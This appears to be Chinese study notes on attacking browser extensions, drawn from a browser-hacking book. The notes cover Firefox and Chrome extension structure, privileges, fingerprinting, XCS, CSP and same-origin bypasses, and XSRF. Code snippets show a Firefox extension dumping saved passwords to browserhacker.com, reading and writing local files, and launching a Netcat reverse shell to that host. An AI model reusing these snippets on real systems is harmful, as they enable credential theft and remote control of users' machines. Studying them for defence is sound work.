攻擊擴展

擴展的結構

擴展與插件

區別

  • 擴展存在於瀏覽器進程空間,插件可以獨立執行
  • 擴展可以創建瀏覽器菜單和標籤頁,插件不可以
  • 擴展可以在瀏覽器打開的所有頁面中生效,插件隻影響加載它的頁面
    • 加載的方法
      • 服務器返回特點的MIME類型
      • 使用(或)標籤

擴展與附加程序

附加程序(add-on)可以理解爲涵蓋插件、擴展的一種外部程序。一般來說,附加程序指的是除瀏覽器及其插件之外的所有外部程序。

利用特權

每個提供的擴展環境都擁有訪問瀏覽器功能的較高權限

瀏覽器的兩個主要區域:

  • 低權限的互聯網區域——無特權,收限於SOP,無權訪問用戶敏感數據和干擾操作系統
  • 較高權限的瀏覽器區域(chrome://區域)——擴展運行的區域,瀏覽器高度信任,有權訪問敏感的用戶信息和特權API,不受SOP限制。
    基本擴展結構

Firefox擴展

  • Firefox擴展是一個使用zip格式的壓縮文件,使用.xpi後綴
  • 文件結構
    • Chrome:包含下層子目錄
      • Content:包含主功能
      • Skin:包含圖片和CSS
    • Defaults:包含偏好配置項
    • Components:包含XPCOM組件(可選)
    • install.rdf:包含安裝和更新的細節
      • updateURL和updateKey——影響針對更新過程的攻擊
  • XUL和XBL
    • XUL:Firefox瀏覽器中用於表示chrome中可見內容的語言。
    • XBL:把可見的內容和JavaScript連接起來
  • XPCOM API
    • XPCOM就是在瀏覽器中使用的跨平臺組件模型
    • XPConnect:XPCOM和JavaScript之間的橋樑,通過XPConnect,JavaScript能夠調用XPCOM的各種功能
    • 擴展可以使用運行在操作系統環境中的XPCOM組件
      • 利用登錄管理器
        // 取得登錄管理對象
         var l2m=Components.classes["@mozilla.org/loginmanager;1"].getService(Components.interfaces.nsILoginManager);
         // 從登錄管理對象中取得所有憑據
         allCredentials = l2m.getAllLogins({});
         // 提取主機、用戶名和密碼
         for (i=0;i<=allCredentials.length;i=i+1){
         	var url = "http://browserhacker.com/";
         	url += "?host=" + encodeURI(allCredentials[i].hostname);
         	url += "&user=" + encodeURI(allCredentials[i].username);
         	url += "&password=" + encodeURI(allCredentials[i].password);
         	window.open(url);
         }
        
      • 讀取文件系統
        SOP不適用於擴展中的URL
         var fileToRead="file:///C:/boot.ini";     \\讀取c:\boot.ini文件
         var fileContents=document.ReadURL.readFile(fileToRead);
        
      • 寫入文件系統
       function makeFile(bdata){
       	var workingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home", Components.interfaces.nsIFile);    
       	
       	var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
       	aFile.initWithPath( workingDir.path + "\\filename.exe" );
       	aFile.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777);
       	
       	var stream = Components.classes["@mozilla.org/network/safe-file-outputstream;1"].createInstance(Components.interfaces.nsIFileOutputStream);      //Firefox用來寫入文件系統的XPCOM API是nsIFileOutputStream
       	stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);
       	stream.write(bdata, bdata.length);
       	if (stream instanceof Components.interfaces.nsISafeOutputStream){
       		stream.finish();
       	} else {
       		stream.close();
       	}
       }
      
      • 執行操作系統命令
        以Netcat執行反向shell:
      var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
      var lPath = "/bin/nc";
      lFile.initWithPath(lPath);
      var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
      process.init(lFile);
      process.run(false,['-e', '/bin/bash', 'browserhacker.com', '12345'],4);
      

Chrome擴展

Chrome擴展結構

  • 組成
    • 包含一個清單文件(manifest file),以及由後臺頁面、UI頁面及內容腳本構成的其他組件。
    • 使用.crx作爲擴展文件名的後綴
  • 清單文件(manifest.json)
    *
  • 內容腳本
    內容腳本負責與加載到瀏覽器中的網頁內容交互,Chrome擴展中的這個組件擁有直接訪問DOM的權限,攻擊面最大。
    • 特點
      • 內容腳本不能調用在網頁源中定義的任何函數
      • 內容腳本只能訪問擴展API,不能訪問關聯擴展頁面中的變量和函數,不能訪問其他內容腳本,不能對擴展所在頁面發送跨域請求
      • 內容腳本與擴展的其他部分是隔離的,與安全邊界之內的環境是隔離的
      • 可以對任何列在其清單文件中的來源,發起跨域XHR請求(XMLHttp-Request請求),與這些請求同時發送的,還有用戶正在交互的Web應用所設置的cookie
  • UI頁面
    UI頁面指的是選項頁、彈出層,或其他展示給用戶的頁面,就是構成擴展用戶界面的HTML資源。運行在這些UI頁面中的JavaScript擁有較高權限。
    • 特點
      • UI頁面不能直接訪問DOM,必須利用內容腳本才行
  • 後臺頁面
    後臺頁面(在使用過程中)可以視爲擴展的核心,權限較高。
  • NPAPI插件
    NPAPI插件在Chrome沙箱外部運行,擁有用戶權限。
  • 安全模型
    • 獨立王國
      加載網頁中的腳本與內容腳本相互隔離。
    • 匹配模式
      匹配模式用於限制擴展的XMLHttpRequest對象
    • 權限
      API相應的權限同樣也在manifest.json文件中列出
    • 安全邊界
      安全邊界將內容腳本(及網頁)與擴展的其他部分隔開。
  • 內容安全策略
    • 定義:manifest.json文件中的content_security_policy參數
    • 默認:script-src 'self'; object-src 'self'
      • 不允許外部加載腳本。
      • 不允許外部加載對象。
      • 不允許行內腳本。
      • 不允許eval()。

採集擴展指紋

HTTP首部

查看首部變化

  • 對比安裝前後的頭部信息
  • 查詢擴展源代碼
    • Chrome擴展查看流程
      • 檢測manifest.json文件是否請求了webRequest權限
      • 查看chrome.webRequest.onBeforeSendHeader函數
      • 查看XMLHttpRequest.setRequestHeader函數
    • Firefox擴展
      • ,搜索setRequestHeader可以找到修改請求首部的位置

使用DOM採集

  • Firebug
    • 檢測是否開啓(全true則開啓):!!window.console.clear、!!window.console.exception、!!window.console.table
    • 僅檢測Firebug Lite:!!window.console.provider

使用清單文件

  • web_accessible_resources數組:manifest.json文件中用於列出可以通過URL訪問的資源
  • GUID

攻擊擴展

冒充擴展

跨上下文腳本攻擊(XCS)

跨上下文腳本攻擊(XCS)是一種從不受信任區域向受信任區域發送指令的擴展攻擊方法。

中間人攻擊

擴展中使用遠程加載的數據,可能會爲攻擊者提供機會。

  • Firefox擴展
    • 相關函數
      • window.open()
      • window.opendialog()
      • nsIWindowWatcher()
      • XMLHTTPRequest()
繞過Web應用CSP

內容腳本根本不受CSP保護。

繞過同源策略

Chrome擴展的內容腳本可以讀取跨域請求的響應,在發送跨域請求時,首部會包含與相應源關聯的cookie。

普遍的XSS攻擊

如果某個瀏覽器的擴展中存在一個XSS漏洞,那就有可能在瀏覽器加載的任意頁面上被利用。

跨站點請求僞造(XSRF)

假設有一個擴展,在加載位於白名單中的UI頁面時,會從GET請求中讀取一個配置參數。加載完成後(包括提供了參數後),關鍵的配置數據就保存在LocalStorage中。

一個頁面作爲白名單文件,出現在了web_accessible_resources參數中,意味着任何網頁都可以在一個<iframe>中包含它。加載這個包含定製URL的內嵌框架,會導致這個虛構擴展的LocalStorage對象中保存任意內容。

攻擊DOM事件處理程序

Firefox中chrome://區域與不受信任區域間的通信,也可以通過DOM事件實現。

執行操作系統命令

Chrome擴展可以通過使用NPAPI,在文件系統中執行程序。

參考文獻

《黑客攻防寶典——瀏覽器》

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章